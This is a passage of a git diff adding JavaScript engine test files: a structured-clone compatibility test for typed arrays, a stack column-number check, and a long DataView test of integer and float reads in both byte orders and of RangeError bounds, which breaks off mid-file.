+// This file is a copy of clone-typed-array.js from before v2 structured clone
+// was implemented. If you run this test under a v1-writing engine with the
+// environment variable JS_RECORD_RESULTS set, then it will output a log of
+// structured clone buffers resulting from running this test. You can then use
+// that log as input to another run of this same test on a newer engine, to
+// verify that older-format structured clone data can be deserialized properly.
+
+var old_serialize = serialize;
+var captured = [];
+
+if (os.getenv("JS_RECORD_RESULTS") !== undefined) {
+ serialize = function(o) {
+ var data;
+ try {
+ data = old_serialize(o);
+ captured.push(data);
+ return data;
+ } catch(e) {
+ captured.push(e);
+ throw(e);
+ }
+ };
+} else {
+ loadRelativeToScript("clone-v1-typed-array-data.dat");
+ serialize = function(d) {
+ var data = captured.shift();
+ if (data instanceof Error)
+ throw(data);
+ else
+ return data;
+ };
+}
+
+function assertArraysEqual(a, b) {
+ assertEq(a.constructor, b.constructor);
+ assertEq(a.length, b.length);
+ for (var i = 0; i < a.length; i++)
+ assertEq(a[i], b[i]);
+}
+
+function check(b) {
+ var a = deserialize(serialize(b));
+ assertArraysEqual(a, b);
+}
+
+function checkPrototype(ctor) {
+ var threw = false;
+ try {
+ serialize(ctor.prototype);
+ throw new Error("serializing " + ctor.name + ".prototype should throw a TypeError");
+ } catch (exc) {
+ if (!(exc instanceof TypeError))
+ throw exc;
+ }
+}
+
+function test() {
+ // Test cloning ArrayBuffer objects.
+ check(new ArrayBuffer(0));
+ check(new ArrayBuffer(7));
+ checkPrototype(ArrayBuffer);
+
+ // Test cloning typed array objects.
+ var ctors = [
+ Int8Array,
+ Uint8Array,
+ Int16Array,
+ Uint16Array,
+ Int32Array,
+ Uint32Array,
+ Float32Array,
+ Float64Array,
+ Uint8ClampedArray];
+
+ var b;
+ for (var i = 0; i < ctors.length; i++) {
+ var ctor = ctors[i];
+
+ // check empty array
+ b = new ctor(0);
+ check(b);
+
+ // check array with some elements
+ b = new ctor(100);
+ var v = 1;
+ for (var j = 0; j < 100; j++) {
+ b[j] = v;
+ v *= 7;
+ }
+ b[99] = NaN; // check serializing NaNs too
+ check(b);
+
+ // try the prototype
+ checkPrototype(ctor);
+ }
+
+ // Cloning should separately copy two TypedArrays backed by the same
+ // ArrayBuffer. This also tests cloning TypedArrays where the arr->data
+ // pointer is not 8-byte-aligned.
+
+ var base = new Int8Array([0, 1, 2, 3]);
+ b = [new Int8Array(base.buffer, 0, 3), new Int8Array(base.buffer, 1, 3)];
+ var a = deserialize(serialize(b));
+ base[1] = -1;
+ a[0][2] = -2;
+ assertArraysEqual(b[0], new Int8Array([0, -1, 2])); // shared with base
+ assertArraysEqual(b[1], new Int8Array([-1, 2, 3])); // shared with base
+ assertArraysEqual(a[0], new Int8Array([0, 1, -2])); // not shared with base
+ assertArraysEqual(a[1], new Int8Array([1, 2, 3])); // not shared with base or a[0]
+}
+
+test();
+reportCompare(0, 0, 'ok');
+
+if (os.getenv("JS_RECORD_RESULTS") !== undefined) {
+ print("var captured = [];");
+ for (var i in captured) {
+ var s = "captured[" + i + "] = ";
+ if (captured[i] instanceof Error) {
+ print(s + captured[i].toSource() + ";");
+ } else {
+ data = captured[i].clonebuffer.split('').map(c => c.charCodeAt(0));
+ print(s + "serialize(0); captured[" + i + "].clonebuffer = String.fromCharCode(" + data.join(", ") + ");");
+ }
+ }
+}
diff --git a/js/src/tests/js1_8_5/extensions/column-numbers.js b/js/src/tests/js1_8_5/extensions/column-numbers.js
new file mode 100644
index 000000000..721b05e9f
--- /dev/null
+++ b/js/src/tests/js1_8_5/extensions/column-numbers.js
@@ -0,0 +1,10 @@
+actual = 'No Error';
+expected = /column-numbers\.js:4:11/;
+try {
+ throw new Error("test");
+}
+catch(ex) {
+ actual = ex.stack;
+ print('Caught exception ' + ex.stack);
+}
+reportMatch(expected, actual, 'column number present');
diff --git a/js/src/tests/js1_8_5/extensions/dataview.js b/js/src/tests/js1_8_5/extensions/dataview.js
new file mode 100644
index 000000000..dd36e0991
--- /dev/null
+++ b/js/src/tests/js1_8_5/extensions/dataview.js
@@ -0,0 +1,1635 @@
+// |reftest| skip-if(!xulRuntime.shell)
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Tobias Schneider <schneider@jancona.com>
+ */
+
+//------------------------------------------------------------------------------
+var BUGNUMBER = 575688;
+var summary = 'DataView tests';
+
+function test() {
+ function die(message, uplevel) {
+ var e = new Error(message);
+ var frame = e.stack.split("\n")[uplevel];
+ print(message + " at " + frame.split("@")[1]);
+ print("Stack:\n" + e.stack);
+ throw(e);
+ }
+
+ function checkThrow(fun, type) {
+ var thrown = false;
+ try {
+ fun();
+ } catch (x) {
+ thrown = x;
+ }
+
+ if (!thrown) {
+ die('no exception thrown, expected ' + type.name, 2);
+ } else if (!(thrown instanceof type)) {
+ die('expected ' + type.name + ', got ' + thrown, 2);
+ }
+ }
+
+ function checkThrowTODO(fun, type) {
+ var thrown = false;
+ try {
+ fun();
+ } catch (x) {
+ thrown = x;
+ }
+
+ if (!thrown) {
+ print('(TODO) no exception thrown, expected ' + type.name);
+ } else if (!(thrown instanceof type)) {
+ print('(TODO) expected ' + type.name + ', got ' + thrown);
+ } else {
+ print('test unexpectedly passed: expected ' + type.name + ' exception');
+ }
+ }
+
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ // testConstructor
+ buffer = (new Uint8Array([1, 2])).buffer;
+ checkThrow(() => new DataView(buffer, 0, 3), RangeError);
+ checkThrow(() => new DataView(buffer, 1, 2), RangeError);
+ checkThrow(() => new DataView(buffer, 2, 1), RangeError);
+ checkThrow(() => new DataView(buffer, 2147483649, 0), RangeError);
+ checkThrow(() => new DataView(buffer, 0, 2147483649), RangeError);
+ checkThrow(() => new DataView(), TypeError);
+ checkThrow(() => new DataView(Object.create(new ArrayBuffer(5))), TypeError);
+
+ // testGetMethods
+
+ // testIntegerGets(start=0, length=16)
+ var data1 = [0,1,2,3,0x64,0x65,0x66,0x67,0x80,0x81,0x82,0x83,252,253,254,255];
+ var data1_r = data1.slice().reverse();
+ var buffer1 = new Uint8Array(data1).buffer;
+ var view1 = new DataView(buffer1, 0, 16);
+ view = view1;
+ assertEq(view.getInt8(0), 0);
+ assertEq(view.getInt8(8), -128);
+ assertEq(view.getInt8(15), -1);
+ assertEq(view.getUint8(0), 0);
+ assertEq(view.getUint8(8), 128);
+ assertEq(view.getUint8(15), 255);
+ // Little endian.
+ assertEq(view.getInt16(0, true), 256);
+ assertEq(view.getInt16(5, true), 0x6665);
+ assertEq(view.getInt16(9, true), -32127);
+ assertEq(view.getInt16(14, true), -2);
+ // Big endian.
+ assertEq(view.getInt16(0), 1);
+ assertEq(view.getInt16(5), 0x6566);
+ assertEq(view.getInt16(9), -32382);
+ assertEq(view.getInt16(14), -257);
+ // Little endian.
+ assertEq(view.getUint16(0, true), 256);
+ assertEq(view.getUint16(5, true), 0x6665);
+ assertEq(view.getUint16(9, true), 0x8281);
+ assertEq(view.getUint16(14, true), 0xfffe);
+ // Big endian.
+ assertEq(view.getUint16(0), 1);
+ assertEq(view.getUint16(5), 0x6566);
+ assertEq(view.getUint16(9), 0x8182);
+ assertEq(view.getUint16(14), 0xfeff);
+ // Little endian.
+ assertEq(view.getInt32(0, true), 0x3020100);
+ assertEq(view.getInt32(3, true), 0x66656403);
+ assertEq(view.getInt32(6, true), -2122291354);
+ assertEq(view.getInt32(9, true), -58490239);
+ assertEq(view.getInt32(12, true), -66052);
+ // Big endian.
+ assertEq(view.getInt32(0), 0x10203);
+ assertEq(view.getInt32(3), 0x3646566);
+ assertEq(view.getInt32(6), 0x66678081);
+ assertEq(view.getInt32(9), -2122152964);
+ assertEq(view.getInt32(12), -50462977);
+ // Little endian.
+ assertEq(view.getUint32(0, true), 0x3020100);
+ assertEq(view.getUint32(3, true), 0x66656403);
+ assertEq(view.getUint32(6, true), 0x81806766);
+ assertEq(view.getUint32(9, true), 0xfc838281);
+ assertEq(view.getUint32(12, true), 0xfffefdfc);
+ // Big endian.
+ assertEq(view.getUint32(0), 0x10203);
+ assertEq(view.getUint32(3), 0x3646566);
+ assertEq(view.getUint32(6), 0x66678081);
+ assertEq(view.getUint32(9), 0x818283fc);
+ assertEq(view.getUint32(12), 0xfcfdfeff);
+
+ // testFloatGets(start=0)
+
+ // testFloatGet expected=10
+ // Little endian
+ var data2 = [0,0,32,65];
+ var data2_r = data2.slice().reverse();
+ var buffer2 = new Uint8Array(data2).buffer;
+ view = new DataView(buffer2, 0, 4);
+ assertEq(view.getFloat32(0, true), 10);
+ var buffer2_pad3 = new Uint8Array(Array(3).concat(data2)).buffer;
+ view = new DataView(buffer2_pad3, 0, 7);
+ assertEq(view.getFloat32(3, true), 10);
+ var buffer2_pad7 = new Uint8Array(Array(7).concat(data2)).buffer;
+ view = new DataView(buffer2_pad7, 0, 11);
+ assertEq(view.getFloat32(7, true), 10);
+ var buffer2_pad10 = new Uint8Array(Array(10).concat(data2)).buffer;
+ view = new DataView(buffer2_pad10, 0, 14);
+ assertEq(view.getFloat32(10, true), 10);
+ // Big endian.
+ var buffer2_r = new Uint8Array(data2_r).buffer;
+ view = new DataView(buffer2_r, 0, 4);
+ assertEq(view.getFloat32(0, false), 10);
+ var buffer2_r_pad3 = new Uint8Array(Array(3).concat(data2_r)).buffer;
+ view = new DataView(buffer2_r_pad3, 0, 7);
+ assertEq(view.getFloat32(3, false), 10);
+ var buffer2_r_pad7 = new Uint8Array(Array(7).concat(data2_r)).buffer;
+ view = new DataView(buffer2_r_pad7, 0, 11);
+ assertEq(view.getFloat32(7, false), 10);
+ var buffer2_r_pad10 = new Uint8Array(Array(10).concat(data2_r)).buffer;
+ view = new DataView(buffer2_r_pad10, 0, 14);
+ assertEq(view.getFloat32(10, false), 10);
+
+ // testFloatGet expected=1.2300000190734863
+ // Little endian
+ var data3 = [164,112,157,63];
+ var data3_r = data3.slice().reverse();
+ var buffer3 = new Uint8Array(data3).buffer;
+ view = new DataView(buffer3, 0, 4);
+ assertEq(view.getFloat32(0, true), 1.2300000190734863);
+ var buffer3_pad3 = new Uint8Array(Array(3).concat(data3)).buffer;
+ view = new DataView(buffer3_pad3, 0, 7);
+ assertEq(view.getFloat32(3, true), 1.2300000190734863);
+ var buffer3_pad7 = new Uint8Array(Array(7).concat(data3)).buffer;
+ view = new DataView(buffer3_pad7, 0, 11);
+ assertEq(view.getFloat32(7, true), 1.2300000190734863);
+ var buffer3_pad10 = new Uint8Array(Array(10).concat(data3)).buffer;
+ view = new DataView(buffer3_pad10, 0, 14);
+ assertEq(view.getFloat32(10, true), 1.2300000190734863);
+ // Big endian.
+ var buffer3_r = new Uint8Array(data3_r).buffer;
+ view = new DataView(buffer3_r, 0, 4);
+ assertEq(view.getFloat32(0, false), 1.2300000190734863);
+ var buffer3_r_pad3 = new Uint8Array(Array(3).concat(data3_r)).buffer;
+ view = new DataView(buffer3_r_pad3, 0, 7);
+ assertEq(view.getFloat32(3, false), 1.2300000190734863);
+ var buffer3_r_pad7 = new Uint8Array(Array(7).concat(data3_r)).buffer;
+ view = new DataView(buffer3_r_pad7, 0, 11);
+ assertEq(view.getFloat32(7, false), 1.2300000190734863);
+ var buffer3_r_pad10 = new Uint8Array(Array(10).concat(data3_r)).buffer;
+ view = new DataView(buffer3_r_pad10, 0, 14);
+ assertEq(view.getFloat32(10, false), 1.2300000190734863);
+
+ // testFloatGet expected=-45621.37109375
+ // Little endian
+ var data4 = [95,53,50,199];
+ var data4_r = data4.slice().reverse();
+ var buffer4 = new Uint8Array(data4).buffer;
+ view = new DataView(buffer4, 0, 4);
+ assertEq(view.getFloat32(0, true), -45621.37109375);
+ var buffer4_pad3 = new Uint8Array(Array(3).concat(data4)).buffer;
+ view = new DataView(buffer4_pad3, 0, 7);
+ assertEq(view.getFloat32(3, true), -45621.37109375);
+ var buffer4_pad7 = new Uint8Array(Array(7).concat(data4)).buffer;
+ view = new DataView(buffer4_pad7, 0, 11);
+ assertEq(view.getFloat32(7, true), -45621.37109375);
+ var buffer4_pad10 = new Uint8Array(Array(10).concat(data4)).buffer;
+ view = new DataView(buffer4_pad10, 0, 14);
+ assertEq(view.getFloat32(10, true), -45621.37109375);
+ // Big endian.
+ var buffer4_r = new Uint8Array(data4_r).buffer;
+ view = new DataView(buffer4_r, 0, 4);
+ assertEq(view.getFloat32(0, false), -45621.37109375);
+ var buffer4_r_pad3 = new Uint8Array(Array(3).concat(data4_r)).buffer;
+ view = new DataView(buffer4_r_pad3, 0, 7);
+ assertEq(view.getFloat32(3, false), -45621.37109375);
+ var buffer4_r_pad7 = new Uint8Array(Array(7).concat(data4_r)).buffer;
+ view = new DataView(buffer4_r_pad7, 0, 11);
+ assertEq(view.getFloat32(7, false), -45621.37109375);
+ var buffer4_r_pad10 = new Uint8Array(Array(10).concat(data4_r)).buffer;
+ view = new DataView(buffer4_r_pad10, 0, 14);
+ assertEq(view.getFloat32(10, false), -45621.37109375);
+
+ // testFloatGet expected=NaN
+ // Little endian
+ var data5 = [255,255,255,127];
+ var data5_r = data5.slice().reverse();
+ var buffer5 = new Uint8Array(data5).buffer;
+ view = new DataView(buffer5, 0, 4);
+ assertEq(view.getFloat32(0, true), NaN);
+ var buffer5_pad3 = new Uint8Array(Array(3).concat(data5)).buffer;
+ view = new DataView(buffer5_pad3, 0, 7);
+ assertEq(view.getFloat32(3, true), NaN);
+ var buffer5_pad7 = new Uint8Array(Array(7).concat(data5)).buffer;
+ view = new DataView(buffer5_pad7, 0, 11);
+ assertEq(view.getFloat32(7, true), NaN);
+ var buffer5_pad10 = new Uint8Array(Array(10).concat(data5)).buffer;
+ view = new DataView(buffer5_pad10, 0, 14);
+ assertEq(view.getFloat32(10, true), NaN);
+ // Big endian.
+ var buffer5_r = new Uint8Array(data5_r).buffer;
+ view = new DataView(buffer5_r, 0, 4);
+ assertEq(view.getFloat32(0, false), NaN);
+ var buffer5_r_pad3 = new Uint8Array(Array(3).concat(data5_r)).buffer;
+ view = new DataView(buffer5_r_pad3, 0, 7);
+ assertEq(view.getFloat32(3, false), NaN);
+ var buffer5_r_pad7 = new Uint8Array(Array(7).concat(data5_r)).buffer;
+ view = new DataView(buffer5_r_pad7, 0, 11);
+ assertEq(view.getFloat32(7, false), NaN);
+ var buffer5_r_pad10 = new Uint8Array(Array(10).concat(data5_r)).buffer;
+ view = new DataView(buffer5_r_pad10, 0, 14);
+ assertEq(view.getFloat32(10, false), NaN);
+
+ // testFloatGet expected=NaN
+ // Little endian
+ var data6 = [255,255,255,255];
+ var data6_r = data6.slice().reverse();
+ var buffer6 = new Uint8Array(data6).buffer;
+ view = new DataView(buffer6, 0, 4);
+ assertEq(view.getFloat32(0, true), NaN);
+ var buffer6_pad3 = new Uint8Array(Array(3).concat(data6)).buffer;
+ view = new DataView(buffer6_pad3, 0, 7);
+ assertEq(view.getFloat32(3, true), NaN);
+ var buffer6_pad7 = new Uint8Array(Array(7).concat(data6)).buffer;
+ view = new DataView(buffer6_pad7, 0, 11);
+ assertEq(view.getFloat32(7, true), NaN);
+ var buffer6_pad10 = new Uint8Array(Array(10).concat(data6)).buffer;
+ view = new DataView(buffer6_pad10, 0, 14);
+ assertEq(view.getFloat32(10, true), NaN);
+ // Big endian.
+ var buffer6_r = new Uint8Array(data6_r).buffer;
+ view = new DataView(buffer6_r, 0, 4);
+ assertEq(view.getFloat32(0, false), NaN);
+ var buffer6_r_pad3 = new Uint8Array(Array(3).concat(data6_r)).buffer;
+ view = new DataView(buffer6_r_pad3, 0, 7);
+ assertEq(view.getFloat32(3, false), NaN);
+ var buffer6_r_pad7 = new Uint8Array(Array(7).concat(data6_r)).buffer;
+ view = new DataView(buffer6_r_pad7, 0, 11);
+ assertEq(view.getFloat32(7, false), NaN);
+ var buffer6_r_pad10 = new Uint8Array(Array(10).concat(data6_r)).buffer;
+ view = new DataView(buffer6_r_pad10, 0, 14);
+ assertEq(view.getFloat32(10, false), NaN);
+
+ // testFloatGet expected=10
+ // Little endian
+ var data7 = [0,0,0,0,0,0,36,64];
+ var data7_r = data7.slice().reverse();
+ var buffer7 = new Uint8Array(data7).buffer;
+ view = new DataView(buffer7, 0, 8);
+ assertEq(view.getFloat64(0, true), 10);
+ var buffer7_pad3 = new Uint8Array(Array(3).concat(data7)).buffer;
+ view = new DataView(buffer7_pad3, 0, 11);
+ assertEq(view.getFloat64(3, true), 10);
+ var buffer7_pad7 = new Uint8Array(Array(7).concat(data7)).buffer;
+ view = new DataView(buffer7_pad7, 0, 15);
+ assertEq(view.getFloat64(7, true), 10);
+ var buffer7_pad10 = new Uint8Array(Array(10).concat(data7)).buffer;
+ view = new DataView(buffer7_pad10, 0, 18);
+ assertEq(view.getFloat64(10, true), 10);
+ // Big endian.
+ var buffer7_r = new Uint8Array(data7_r).buffer;
+ view = new DataView(buffer7_r, 0, 8);
+ assertEq(view.getFloat64(0, false), 10);
+ var buffer7_r_pad3 = new Uint8Array(Array(3).concat(data7_r)).buffer;
+ view = new DataView(buffer7_r_pad3, 0, 11);
+ assertEq(view.getFloat64(3, false), 10);
+ var buffer7_r_pad7 = new Uint8Array(Array(7).concat(data7_r)).buffer;
+ view = new DataView(buffer7_r_pad7, 0, 15);
+ assertEq(view.getFloat64(7, false), 10);
+ var buffer7_r_pad10 = new Uint8Array(Array(10).concat(data7_r)).buffer;
+ view = new DataView(buffer7_r_pad10, 0, 18);
+ assertEq(view.getFloat64(10, false), 10);
+
+ // testFloatGet expected=1.23
+ // Little endian
+ var data8 = [174,71,225,122,20,174,243,63];
+ var data8_r = data8.slice().reverse();
+ var buffer8 = new Uint8Array(data8).buffer;
+ view = new DataView(buffer8, 0, 8);
+ assertEq(view.getFloat64(0, true), 1.23);
+ var buffer8_pad3 = new Uint8Array(Array(3).concat(data8)).buffer;
+ view = new DataView(buffer8_pad3, 0, 11);
+ assertEq(view.getFloat64(3, true), 1.23);
+ var buffer8_pad7 = new Uint8Array(Array(7).concat(data8)).buffer;
+ view = new DataView(buffer8_pad7, 0, 15);
+ assertEq(view.getFloat64(7, true), 1.23);
+ var buffer8_pad10 = new Uint8Array(Array(10).concat(data8)).buffer;
+ view = new DataView(buffer8_pad10, 0, 18);
+ assertEq(view.getFloat64(10, true), 1.23);
+ // Big endian.
+ var buffer8_r = new Uint8Array(data8_r).buffer;
+ view = new DataView(buffer8_r, 0, 8);
+ assertEq(view.getFloat64(0, false), 1.23);
+ var buffer8_r_pad3 = new Uint8Array(Array(3).concat(data8_r)).buffer;
+ view = new DataView(buffer8_r_pad3, 0, 11);
+ assertEq(view.getFloat64(3, false), 1.23);
+ var buffer8_r_pad7 = new Uint8Array(Array(7).concat(data8_r)).buffer;
+ view = new DataView(buffer8_r_pad7, 0, 15);
+ assertEq(view.getFloat64(7, false), 1.23);
+ var buffer8_r_pad10 = new Uint8Array(Array(10).concat(data8_r)).buffer;
+ view = new DataView(buffer8_r_pad10, 0, 18);
+ assertEq(view.getFloat64(10, false), 1.23);
+
+ // testFloatGet expected=-6213576.4839
+ // Little endian
+ var data9 = [181,55,248,30,242,179,87,193];
+ var data9_r = data9.slice().reverse();
+ var buffer9 = new Uint8Array(data9).buffer;
+ view = new DataView(buffer9, 0, 8);
+ assertEq(view.getFloat64(0, true), -6213576.4839);
+ var buffer9_pad3 = new Uint8Array(Array(3).concat(data9)).buffer;
+ view = new DataView(buffer9_pad3, 0, 11);
+ assertEq(view.getFloat64(3, true), -6213576.4839);
+ var buffer9_pad7 = new Uint8Array(Array(7).concat(data9)).buffer;
+ view = new DataView(buffer9_pad7, 0, 15);
+ assertEq(view.getFloat64(7, true), -6213576.4839);
+ var buffer9_pad10 = new Uint8Array(Array(10).concat(data9)).buffer;
+ view = new DataView(buffer9_pad10, 0, 18);
+ assertEq(view.getFloat64(10, true), -6213576.4839);
+ // Big endian.
+ var buffer9_r = new Uint8Array(data9_r).buffer;
+ view = new DataView(buffer9_r, 0, 8);
+ assertEq(view.getFloat64(0, false), -6213576.4839);
+ var buffer9_r_pad3 = new Uint8Array(Array(3).concat(data9_r)).buffer;
+ view = new DataView(buffer9_r_pad3, 0, 11);
+ assertEq(view.getFloat64(3, false), -6213576.4839);
+ var buffer9_r_pad7 = new Uint8Array(Array(7).concat(data9_r)).buffer;
+ view = new DataView(buffer9_r_pad7, 0, 15);
+ assertEq(view.getFloat64(7, false), -6213576.4839);
+ var buffer9_r_pad10 = new Uint8Array(Array(10).concat(data9_r)).buffer;
+ view = new DataView(buffer9_r_pad10, 0, 18);
+ assertEq(view.getFloat64(10, false), -6213576.4839);
+
+ // testFloatGet expected=NaN
+ // Little endian
+ var data10 = [255,255,255,255,255,255,255,127];
+ var data10_r = data10.slice().reverse();
+ var buffer10 = new Uint8Array(data10).buffer;
+ view = new DataView(buffer10, 0, 8);
+ assertEq(view.getFloat64(0, true), NaN);
+ var buffer10_pad3 = new Uint8Array(Array(3).concat(data10)).buffer;
+ view = new DataView(buffer10_pad3, 0, 11);
+ assertEq(view.getFloat64(3, true), NaN);
+ var buffer10_pad7 = new Uint8Array(Array(7).concat(data10)).buffer;
+ view = new DataView(buffer10_pad7, 0, 15);
+ assertEq(view.getFloat64(7, true), NaN);
+ var buffer10_pad10 = new Uint8Array(Array(10).concat(data10)).buffer;
+ view = new DataView(buffer10_pad10, 0, 18);
+ assertEq(view.getFloat64(10, true), NaN);
+ // Big endian.
+ var buffer10_r = new Uint8Array(data10_r).buffer;
+ view = new DataView(buffer10_r, 0, 8);
+ assertEq(view.getFloat64(0, false), NaN);
+ var buffer10_r_pad3 = new Uint8Array(Array(3).concat(data10_r)).buffer;
+ view = new DataView(buffer10_r_pad3, 0, 11);
+ assertEq(view.getFloat64(3, false), NaN);
+ var buffer10_r_pad7 = new Uint8Array(Array(7).concat(data10_r)).buffer;
+ view = new DataView(buffer10_r_pad7, 0, 15);
+ assertEq(view.getFloat64(7, false), NaN);
+ var buffer10_r_pad10 = new Uint8Array(Array(10).concat(data10_r)).buffer;
+ view = new DataView(buffer10_r_pad10, 0, 18);
+ assertEq(view.getFloat64(10, false), NaN);
+
+ // testFloatGet expected=NaN
+ // Little endian
+ var data11 = [255,255,255,255,255,255,255,255];
+ var data11_r = data11.slice().reverse();
+ var buffer11 = new Uint8Array(data11).buffer;
+ view = new DataView(buffer11, 0, 8);
+ assertEq(view.getFloat64(0, true), NaN);
+ var buffer11_pad3 = new Uint8Array(Array(3).concat(data11)).buffer;
+ view = new DataView(buffer11_pad3, 0, 11);
+ assertEq(view.getFloat64(3, true), NaN);
+ var buffer11_pad7 = new Uint8Array(Array(7).concat(data11)).buffer;
+ view = new DataView(buffer11_pad7, 0, 15);
+ assertEq(view.getFloat64(7, true), NaN);
+ var buffer11_pad10 = new Uint8Array(Array(10).concat(data11)).buffer;
+ view = new DataView(buffer11_pad10, 0, 18);
+ assertEq(view.getFloat64(10, true), NaN);
+ // Big endian.
+ var buffer11_r = new Uint8Array(data11_r).buffer;
+ view = new DataView(buffer11_r, 0, 8);
+ assertEq(view.getFloat64(0, false), NaN);
+ var buffer11_r_pad3 = new Uint8Array(Array(3).concat(data11_r)).buffer;
+ view = new DataView(buffer11_r_pad3, 0, 11);
+ assertEq(view.getFloat64(3, false), NaN);
+ var buffer11_r_pad7 = new Uint8Array(Array(7).concat(data11_r)).buffer;
+ view = new DataView(buffer11_r_pad7, 0, 15);
+ assertEq(view.getFloat64(7, false), NaN);
+ var buffer11_r_pad10 = new Uint8Array(Array(10).concat(data11_r)).buffer;
+ view = new DataView(buffer11_r_pad10, 0, 18);
+ assertEq(view.getFloat64(10, false), NaN);
+
+ // testIntegerGets(start=3, length=2)
+ var data12 = [31,32,33,0,1,2,3,100,101,102,103,128,129,130,131,252,253,254,255];
+ var data12_r = data12.slice().reverse();
+ var buffer12 = new Uint8Array(data12).buffer;
+ view = new DataView(buffer12, 3, 2);
+ assertEq(view.getInt8(0), 0);
+ checkThrow(() => view.getInt8(8), RangeError);
+ checkThrow(() => view.getInt8(15), RangeError);
+ assertEq(view.getUint8(0), 0);
+ checkThrow(() => view.getUint8(8), RangeError);
+ checkThrow(() => view.getUint8(15), RangeError);
+ // Little endian.
+ assertEq(view.getInt16(0, true), 256);
+ checkThrow(() => view.getInt16(5, true), RangeError);
+ checkThrow(() => view.getInt16(9, true), RangeError);
+ checkThrow(() => view.getInt16(14, true), RangeError);
+ // Big endian.
+ assertEq(view.getInt16(0), 1);
+ checkThrow(() => view.getInt16(5), RangeError);
+ checkThrow(() => view.getInt16(9), RangeError);
+ checkThrow(() => view.getInt16(14), RangeError);
+ // Little endian.
+ assertEq(view.getUint16(0, true), 256);
+ checkThrow(() => view.getUint16(5, true), RangeError);
+ checkThrow(() => view.getUint16(9, true), RangeError);
+ checkThrow(() => view.getUint16(14, true), RangeError);
+ // Big endian.
+ assertEq(view.getUint16(0), 1);
+ checkThrow(() => view.getUint16(5), RangeError);
+ checkThrow(() => view.getUint16(9), RangeError);
+ checkThrow(() => view.getUint16(14), RangeError);
+ // Little endian.
+ checkThrow(() => view.getInt32(0, true), RangeError);
+ checkThrow(() => view.getInt32(3, true), RangeError);
+ checkThrow(() => view.getInt32(6, true), RangeError);
+ checkThrow(() => view.getInt32(9, true), RangeError);
+ checkThrow(() => view.getInt32(12, true), RangeError);
+ // Big endian.
+ checkThrow(() => view.getInt32(0), RangeError);
+ checkThrow(() => view.getInt32(3), RangeError);
+ checkThrow(() => view.getInt32(6), RangeError);
+ checkThrow(() => view.getInt32(9), RangeError);
+ checkThrow(() => view.getInt32(12), RangeError);
+ // Little endian.
+ checkThrow(() => view.getUint32(0, true), RangeError);
+ checkThrow(() => view.getUint32(3, true), RangeError);
+ checkThrow(() => view.getUint32(6, true), RangeError);
+ checkThrow(() => view.getUint32(9, true), RangeError);
+ checkThrow(() => view.getUint32(12, true), RangeError);
+ // Big endian.
+ checkThrow(() => view.getUint32(0), RangeError);
+ checkThrow(() => view.getUint32(3), RangeError);
+ checkThrow(() => view.getUint32(6), RangeError);
+ checkThrow(() => view.getUint32(9), RangeError);
+ checkThrow(() => view.getUint32(12), RangeError);
+
+ // testFloatGets(start=3)
+
+ // testFloatGet expected=10
+ // Little endian
+ view = new DataView(buffer2, 3, 1);
+ checkThrow(() => view.getFloat32(0, true), RangeError);
+ view = new DataView(buffer2_pad3, 3, 4);
+ checkThrow(() => view.getFloat32(3, true), RangeError);
+ view = new DataView(buffer2_pad7, 3, 8);
+ checkThrow(() => view.getFloat32(7, true), RangeError);
+ view = new DataView(buffer2_pad10, 3, 11);
+ checkThrow(() => view.getFloat32(10, true), RangeError);
+ // Big endian.
+ view = new DataView(buffer2_r, 3, 1);
+ checkThrow(() => view.getFloat32(0, false), RangeError);
+ view = new DataView(buffer2_r_pad3, 3, 4);
+ checkThrow(() => view.getFloat32(3, false), RangeError);
+ view = new DataView(buffer2_r_pad7, 3, 8);
+ checkThrow(() => view.getFloat32(7, false), RangeError);
+ view = new DataView(buffer2_r_pad10, 3, 11);
+ checkThrow(() => view.getFloat32(10, false), RangeError);
+
+ // testFloatGet expected=1.2300000190734863
+ // Little endian
+ view = new DataView(buffer3, 3, 1);
+ checkThrow(() => view.getFloat32(0, true), RangeError);
+ view = new DataView(buffer3_pad3, 3, 4);
+ checkThrow(() => view.getFloat32(3, true), RangeError);
+ view = new DataView(buffer3_pad7, 3, 8);
+ checkThrow(() => view.getFloat32(7, true), RangeError);
+ view = new DataView(buffer3_pad10, 3, 11);
+ checkThrow(() => view.getFloat32(10, true), RangeError);
+ // Big endian.
+ view = new DataView(buffer3_r, 3, 1);
+ checkThrow(() => view.getFloat32(0, false), RangeError);
+ view = new DataView(buffer3_r_pad3, 3, 4);
+ checkThrow(() => view.getFloat32(3, false), RangeError);
+ view = new DataView(buffer3_r_pad7, 3, 8);
+ checkThrow(() => view.getFloat32(7, false), RangeError);
+ view = new DataView(buffer3_r_pad10, 3, 11);
+ checkThrow(() => view.getFloat32(10, false), RangeError);
+
+ // testFloatGet expected=-45621.37109375
+ // Little endian
+ view = new DataView(buffer4, 3, 1);
+ checkThrow(() => view.getFloat32(0, true), RangeError);
+ view = new DataView(buffer4_pad3, 3, 4);
+ checkThrow(() => view.getFloat32(3, true), RangeError);
+ view = new DataView(buffer4_pad7, 3, 8);
+ checkThrow(() => view.getFloat32(7, true), RangeError);
+ view = new DataView(buffer4_pad10, 3, 11);
+ checkThrow(() => view.getFloat32(10, true), RangeError);
+ // Big endian.
+ view = new DataView(buffer4_r, 3, 1);
+ checkThrow(() => view.getFloat32(0, false), RangeError);
+ view = new DataView(buffer4_r_pad3, 3, 4);
+ checkThrow(() => view.getFloat32(3, false), RangeError);
+ view = new DataView(buffer4_r_pad7, 3, 8);
+ checkThrow(() => view.getFloat32(7, false), RangeError);
+ view = new DataView(buffer4_r_pad10, 3, 11);
+ checkThrow(() => view.getFloat32(10, false), RangeError);
+
+ // testFloatGet expected=NaN
+ // Little endian
+ view = new DataView(buffer5, 3, 1);
+ checkThrow(() => view.getFloat32(0, true), RangeError);
+ view = new DataView(buffer5_pad3, 3, 4);
+ checkThrow(() => view.getFloat32(3, true), RangeError);
+ view = new DataView(buffer5_pad7, 3, 8);
+ checkThrow(() => view.getFloat32(7, true), RangeError);
+ view = new DataView(buffer5_pad10, 3, 11);
+ checkThrow(() => view.getFloat32(10, true), RangeError);
+ // Big endian.
+ view = new DataView(buffer5_r, 3, 1);
+ checkThrow(() => view.getFloat32(0, false), RangeError);
+ view = new DataView(buffer5_r_pad3, 3, 4);
+ checkThrow(() => view.getFloat32(3, false), RangeError);
+ view = new DataView(buffer5_r_pad7, 3, 8);
+ checkThrow(() => view.getFloat32(7, false), RangeError);
+ view = new DataView(buffer5_r_pad10, 3, 11);
